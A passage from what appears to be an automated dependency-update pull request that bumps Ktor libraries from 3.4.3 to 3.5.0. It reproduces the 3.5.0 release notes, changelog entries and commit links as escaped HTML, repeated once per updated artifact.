href=\"https://youtrack.jetbrains.com/issue/KTOR-7458\"\u003eKTOR-7458\u003c/a\u003e Jetty Jakarta: Provide an easy way to disable SNI hostname validation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9354\"\u003eKTOR-9354\u003c/a\u003e Websockets: webSocket builder function should return a Route to be describable\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9488\"\u003eKTOR-9488\u003c/a\u003e Nonce and hex function performance optimizations\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9524\"\u003eKTOR-9524\u003c/a\u003e Netty response hangs after connection lost\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9542\"\u003eKTOR-9542\u003c/a\u003e Netty: The request handler runs on worker event loop instead of call event loop since 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9531\"\u003eKTOR-9531\u003c/a\u003e Netty server intermittently drops requests after upgrading to 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8151\"\u003eKTOR-8151\u003c/a\u003e MicrometerMetrics: \u0026quot;MeterFilters configured after a Meter has been registered\u0026quot; warning when a metric is registered before installing the plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9411\"\u003eKTOR-9411\u003c/a\u003e Darwin throws DarwinHttpRequestException instead of FrameTooBigException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8320\"\u003eKTOR-8320\u003c/a\u003e CallLogging: plugin usage in testApplication breaks console standard output\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8906\"\u003eKTOR-8906\u003c/a\u003e Jackson, with request body streaming on, exhausts Dispatchers.IO\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8709\"\u003eKTOR-8709\u003c/a\u003e Websockets: Unable to close session with a custom CloseReason\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9567\"\u003eKTOR-9567\u003c/a\u003e Flaky UnixSockets on Windows: WSAEOPNOTSUPP from bind()\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9183\"\u003eKTOR-9183\u003c/a\u003e A client call wrapped with \u003ccode\u003ewithTimeout\u003c/code\u003e throws a generic CancellationException instead of TimeoutCancellationException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8199\"\u003eKTOR-8199\u003c/a\u003e Autoreloading: default watch patterns don't match anything when project path contain spaces\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9549\"\u003eKTOR-9549\u003c/a\u003e Kotlin/JS: ktor-ktor-client-core.mjs is incompatible with Vite: toRaw naming conflict\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9544\"\u003eKTOR-9544\u003c/a\u003e Apache: body channel not cancelled when caller scope is cancelled\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9546\"\u003eKTOR-9546\u003c/a\u003e HttpClient: cancelling ByteReadChannel body does not propagate to engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-455\"\u003eKTOR-455\u003c/a\u003e Content-Disposition additional parameters should be inside quotes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9500\"\u003eKTOR-9500\u003c/a\u003e RawSourceChannel returns false positive on awaitContent\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-646\"\u003eKTOR-646\u003c/a\u003e Netty engine still print annoying exceptions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9527\"\u003eKTOR-9527\u003c/a\u003e Curl: Freeze when receiving large responses\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9460\"\u003eKTOR-9460\u003c/a\u003e Curl: Can't build shared library with Ktor 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9483\"\u003eKTOR-9483\u003c/a\u003e Curl: backpressure implementation is never used\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/3ccad96fbb891469cdb5ff92b51a96bb6d6374c9\"\u003e\u003ccode\u003e3ccad96\u003c/code\u003e\u003c/a\u003e Release 3.5.0 (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5612\"\u003e#5612\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/decd09ffd35e23a2b3e4481f37b252000a8b7ec2\"\u003e\u003ccode\u003edecd09f\u003c/code\u003e\u003c/a\u003e Update report links (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5616\"\u003e#5616\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/ba5bbc5a7aafe0b909e9c40536153d02b7baa99c\"\u003e\u003ccode\u003eba5bbc5\u003c/code\u003e\u003c/a\u003e Rethrow cancellation in Digest.build (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5618\"\u003e#5618\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/165355954f7659ddd9c114381ea8eb592dee9cb7\"\u003e\u003ccode\u003e1653559\u003c/code\u003e\u003c/a\u003e Update kotlinx-serialization to v1.11.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/eb593ac471b00f99c55090fb190a0ec5cdfa5115\"\u003e\u003ccode\u003eeb593ac\u003c/code\u003e\u003c/a\u003e Update kotlinx-coroutines to v1.11.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/043d400e8140e1e2c46830463efb807f3669a313\"\u003e\u003ccode\u003e043d400\u003c/code\u003e\u003c/a\u003e Update dependency org.jetbrains.kotlinx:kotlinx-io-core to v0.9.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/75a8324a98f38ca299ba8af7e4224a07cb78bc30\"\u003e\u003ccode\u003e75a8324\u003c/code\u003e\u003c/a\u003e Update dependency com.squareup.okio:okio to v3.17.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/757c3da525695ae2e0b3f15b50145f50e57d08af\"\u003e\u003ccode\u003e757c3da\u003c/code\u003e\u003c/a\u003e Update dependency com.google.code.gson:gson to v2.14.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/4b796859d1c189190d3fe964bf506d98356a5e0c\"\u003e\u003ccode\u003e4b79685\u003c/code\u003e\u003c/a\u003e Update dependency com.auth0:jwks-rsa to v0.24.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/6fe542f9b102300921ce681afb48d38c5e3aac2d\"\u003e\u003ccode\u003e6fe542f\u003c/code\u003e\u003c/a\u003e Update tomcat.jakarta to v10.1.55\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/ktorio/ktor/compare/3.4.3...3.5.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.ktor:ktor-server-status-pages` from 3.4.3 to 3.5.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-server-status-pages's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.5.0\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 14 May 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8421\"\u003eKTOR-8421\u003c/a\u003e Route.contentType should support multiple ContentType\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7961\"\u003eKTOR-7961\u003c/a\u003e Add known TDM headers to the HttpHeaders object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9418\"\u003eKTOR-9418\u003c/a\u003e Support getAs from the root ApplicationConfig\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9559\"\u003eKTOR-9559\u003c/a\u003e DNS configuration for the Apache5 client\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9554\"\u003eKTOR-9554\u003c/a\u003e DNS configuration for OkHttp client engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9555\"\u003eKTOR-9555\u003c/a\u003e Custom SSE heartbeat function\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8914\"\u003eKTOR-8914\u003c/a\u003e Dependency injection: read annotations in function references\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8300\"\u003eKTOR-8300\u003c/a\u003e Sessions: Add a way to create a user session shared for all user devices or look up sessions of the same user\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9521\"\u003eKTOR-9521\u003c/a\u003e Upgrade to Kotlin 2.3.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9276\"\u003eKTOR-9276\u003c/a\u003e Make DynamicProviderConfig.authenticateFunction suspend\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9491\"\u003eKTOR-9491\u003c/a\u003e Provide parameter validation convenience functions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9506\"\u003eKTOR-9506\u003c/a\u003e OpenAPI: Support prefixItems in JsonSchema for tuple type definitions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-470\"\u003eKTOR-470\u003c/a\u003e Add an option to not resend the session cookie if the session data wasn't changed.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9355\"\u003eKTOR-9355\u003c/a\u003e Deprecate HttpHeaders.AcceptCharset\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7659\"\u003eKTOR-7659\u003c/a\u003e Make ktor-network compatible with ES modules for nodejs\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9350\"\u003eKTOR-9350\u003c/a\u003e JS: Make ES2015 the default target for tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7578\"\u003eKTOR-7578\u003c/a\u003e Update Digest authentication implementation according to RFC 7616\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9503\"\u003eKTOR-9503\u003c/a\u003e The JacksonConverter.streamRequestBody property name is confusing\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9552\"\u003eKTOR-9552\u003c/a\u003e Deprecation notice for io.ktor.server.auth.Principal does not explain what to use instead\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7458\"\u003eKTOR-7458\u003c/a\u003e Jetty Jakarta: Provide an easy way to disable SNI hostname validation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9354\"\u003eKTOR-9354\u003c/a\u003e Websockets: webSocket builder function should return a Route to be describable\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9488\"\u003eKTOR-9488\u003c/a\u003e Nonce and hex function performance optimizations\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9524\"\u003eKTOR-9524\u003c/a\u003e Netty response hangs after connection lost\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9542\"\u003eKTOR-9542\u003c/a\u003e Netty: The request handler runs on worker event loop instead of call event loop since 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9531\"\u003eKTOR-9531\u003c/a\u003e Netty server intermittently drops requests after upgrading to 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8151\"\u003eKTOR-8151\u003c/a\u003e MicrometerMetrics: \u0026quot;MeterFilters configured after a Meter has been registered\u0026quot; warning when a metric is registered before installing the plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9411\"\u003eKTOR-9411\u003c/a\u003e Darwin throws DarwinHttpRequestException instead of FrameTooBigException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8320\"\u003eKTOR-8320\u003c/a\u003e CallLogging: plugin usage in testApplication breaks console standard output\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8906\"\u003eKTOR-8906\u003c/a\u003e Jackson, with request body streaming on, exhausts Dispatchers.IO\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8709\"\u003eKTOR-8709\u003c/a\u003e Websockets: Unable to close session with a custom CloseReason\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9567\"\u003eKTOR-9567\u003c/a\u003e Flaky UnixSockets on Windows: WSAEOPNOTSUPP from bind()\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9183\"\u003eKTOR-9183\u003c/a\u003e A client call wrapped with \u003ccode\u003ewithTimeout\u003c/code\u003e throws a generic CancellationException instead of TimeoutCancellationException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8199\"\u003eKTOR-8199\u003c/a\u003e Autoreloading: default watch patterns don't match anything when project path contain spaces\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9549\"\u003eKTOR-9549\u003c/a\u003e Kotlin/JS: ktor-ktor-client-core.mjs is incompatible with Vite: toRaw naming conflict\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9544\"\u003eKTOR-9544\u003c/a\u003e Apache: body channel not cancelled when caller scope is cancelled\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9546\"\u003eKTOR-9546\u003c/a\u003e HttpClient: cancelling ByteReadChannel body does not propagate to engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-455\"\u003eKTOR-455\u003c/a\u003e Content-Disposition additional parameters should be inside quotes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9500\"\u003eKTOR-9500\u003c/a\u003e RawSourceChannel returns false positive on awaitContent\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-646\"\u003eKTOR-646\u003c/a\u003e Netty engine still print annoying exceptions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9527\"\u003eKTOR-9527\u003c/a\u003e Curl: Freeze when receiving large responses\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9460\"\u003eKTOR-9460\u003c/a\u003e Curl: Can't build shared library with Ktor 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9483\"\u003eKTOR-9483\u003c/a\u003e Curl: backpressure implementation is never used\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/blob/main/CHANGELOG.md\"\u003eio.ktor:ktor-server-status-pages's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.5.0\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 14 May 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8421\"\u003eKTOR-8421\u003c/a\u003e Route.contentType should support multiple ContentType\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7961\"\u003eKTOR-7961\u003c/a\u003e Add known TDM headers to the HttpHeaders object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9418\"\u003eKTOR-9418\u003c/a\u003e Support getAs from the root ApplicationConfig\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9559\"\u003eKTOR-9559\u003c/a\u003e DNS configuration for the Apache5 client\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9554\"\u003eKTOR-9554\u003c/a\u003e DNS configuration for OkHttp client engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9555\"\u003eKTOR-9555\u003c/a\u003e Custom SSE heartbeat function\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8914\"\u003eKTOR-8914\u003c/a\u003e Dependency injection: read annotations in function references\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8300\"\u003eKTOR-8300\u003c/a\u003e Sessions: Add a way to create a user session shared for all user devices or look up sessions of the same user\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9521\"\u003eKTOR-9521\u003c/a\u003e Upgrade to Kotlin 2.3.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9276\"\u003eKTOR-9276\u003c/a\u003e Make DynamicProviderConfig.authenticateFunction suspend\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9491\"\u003eKTOR-9491\u003c/a\u003e Provide parameter validation convenience functions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9506\"\u003eKTOR-9506\u003c/a\u003e OpenAPI: Support prefixItems in JsonSchema for tuple type definitions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-470\"\u003eKTOR-470\u003c/a\u003e Add an option to not resend the session cookie if the session data wasn't changed.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9355\"\u003eKTOR-9355\u003c/a\u003e Deprecate HttpHeaders.AcceptCharset\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7659\"\u003eKTOR-7659\u003c/a\u003e Make ktor-network compatible with ES modules for nodejs\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9350\"\u003eKTOR-9350\u003c/a\u003e JS: Make ES2015 the default target for tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7578\"\u003eKTOR-7578\u003c/a\u003e Update Digest authentication implementation according to RFC 7616\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9503\"\u003eKTOR-9503\u003c/a\u003e The JacksonConverter.streamRequestBody property name is confusing\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9552\"\u003eKTOR-9552\u003c/a\u003e Deprecation notice for io.ktor.server.auth.Principal does not explain what to use instead\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7458\"\u003eKTOR-7458\u003c/a\u003e Jetty Jakarta: Provide an easy way to disable SNI hostname validation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9354\"\u003eKTOR-9354\u003c/a\u003e Websockets: webSocket builder function should return a Route to be describable\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9488\"\u003eKTOR-9488\u003c/a\u003e Nonce and hex function performance optimizations\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9524\"\u003eKTOR-9524\u003c/a\u003e Netty response hangs after connection lost\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9542\"\u003eKTOR-9542\u003c/a\u003e Netty: The request handler runs on worker event loop instead of call event loop since 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9531\"\u003eKTOR-9531\u003c/a\u003e Netty server intermittently drops requests after upgrading to 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8151\"\u003eKTOR-8151\u003c/a\u003e MicrometerMetrics: \u0026quot;MeterFilters configured after a Meter has been registered\u0026quot; warning when a metric is registered before installing the plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9411\"\u003eKTOR-9411\u003c/a\u003e Darwin throws DarwinHttpRequestException instead of FrameTooBigException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8320\"\u003eKTOR-8320\u003c/a\u003e CallLogging: plugin usage in testApplication breaks console standard output\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8906\"\u003eKTOR-8906\u003c/a\u003e Jackson, with request body streaming on, exhausts Dispatchers.IO\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8709\"\u003eKTOR-8709\u003c/a\u003e Websockets: Unable to close session with a custom CloseReason\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9567\"\u003eKTOR-9567\u003c/a\u003e Flaky UnixSockets on Windows: WSAEOPNOTSUPP from bind()\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9183\"\u003eKTOR-9183\u003c/a\u003e A client call wrapped with \u003ccode\u003ewithTimeout\u003c/code\u003e throws a generic CancellationException instead of TimeoutCancellationException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8199\"\u003eKTOR-8199\u003c/a\u003e Autoreloading: default watch patterns don't match anything when project path contain spaces\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9549\"\u003eKTOR-9549\u003c/a\u003e Kotlin/JS: ktor-ktor-client-core.mjs is incompatible with Vite: toRaw naming conflict\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9544\"\u003eKTOR-9544\u003c/a\u003e Apache: body channel not cancelled when caller scope is cancelled\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9546\"\u003eKTOR-9546\u003c/a\u003e HttpClient: cancelling ByteReadChannel body does not propagate to engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-455\"\u003eKTOR-455\u003c/a\u003e Content-Disposition additional parameters should be inside quotes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9500\"\u003eKTOR-9500\u003c/a\u003e RawSourceChannel returns false positive on awaitContent\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-646\"\u003eKTOR-646\u003c/a\u003e Netty engine still print annoying exceptions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9527\"\u003eKTOR-9527\u003c/a\u003e Curl: Freeze when receiving large responses\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9460\"\u003eKTOR-9460\u003c/a\u003e Curl: Can't build shared library with Ktor 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9483\"\u003eKTOR-9483\u003c/a\u003e Curl: backpressure implementation is never used\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/3ccad96fbb891469cdb5ff92b51a96bb6d6374c9\"\u003e\u003ccode\u003e3ccad96\u003c/code\u003e\u003c/a\u003e Release 3.5.0 (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5612\"\u003e#5612\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/decd09ffd35e23a2b3e4481f37b252000a8b7ec2\"\u003e\u003ccode\u003edecd09f\u003c/code\u003e\u003c/a\u003e Update report links (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5616\"\u003e#5616\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/ba5bbc5a7aafe0b909e9c40536153d02b7baa99c\"\u003e\u003ccode\u003eba5bbc5\u003c/code\u003e\u003c/a\u003e Rethrow cancellation in Digest.build (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5618\"\u003e#5618\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/165355954f7659ddd9c114381ea8eb592dee9cb7\"\u003e\u003ccode\u003e1653559\u003c/code\u003e\u003c/a\u003e Update kotlinx-serialization to v1.11.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/eb593ac471b00f99c55090fb190a0ec5cdfa5115\"\u003e\u003ccode\u003eeb593ac\u003c/code\u003e\u003c/a\u003e Update kotlinx-coroutines to v1.11.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/043d400e8140e1e2c46830463efb807f3669a313\"\u003e\u003ccode\u003e043d400\u003c/code\u003e\u003c/a\u003e Update dependency org.jetbrains.kotlinx:kotlinx-io-core to v0.9.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/75a8324a98f38ca299ba8af7e4224a07cb78bc30\"\u003e\u003ccode\u003e75a8324\u003c/code\u003e\u003c/a\u003e Update dependency com.squareup.okio:okio to v3.17.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/757c3da525695ae2e0b3f15b50145f50e57d08af\"\u003e\u003ccode\u003e757c3da\u003c/code\u003e\u003c/a\u003e Update dependency com.google.code.gson:gson to v2.14.0\u003c/li\u003e\n\u003cli\u003e\u003ca 